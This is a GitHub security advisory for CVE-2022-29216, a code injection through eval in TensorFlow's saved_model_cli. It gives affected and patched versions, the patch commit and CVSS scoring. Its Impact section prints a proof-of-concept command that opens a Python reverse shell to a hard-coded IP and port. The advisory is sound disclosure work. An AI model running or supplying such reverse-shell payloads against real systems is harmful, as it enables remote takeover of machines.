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Code injection in `saved_model_cli` in TensorFlow

High severity GitHub Reviewed Published May 17, 2022 in tensorflow/tensorflow • Updated Jan 30, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1

Patched versions

2.6.4
2.7.2
2.8.1
pip tensorflow-cpu (pip)
< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1
2.6.4
2.7.2
2.8.1
pip tensorflow-gpu (pip)
< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1
2.6.4
2.7.2
2.8.1

Description

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow May 17, 2022
Published by the National Vulnerability Database May 21, 2022
Published to the GitHub Advisory Database May 24, 2022
Reviewed May 24, 2022
Last updated Jan 30, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.095%
(41st percentile)

Weaknesses

CVE ID

CVE-2022-29216

GHSA ID

GHSA-75c9-jrh4-79mc

Source code

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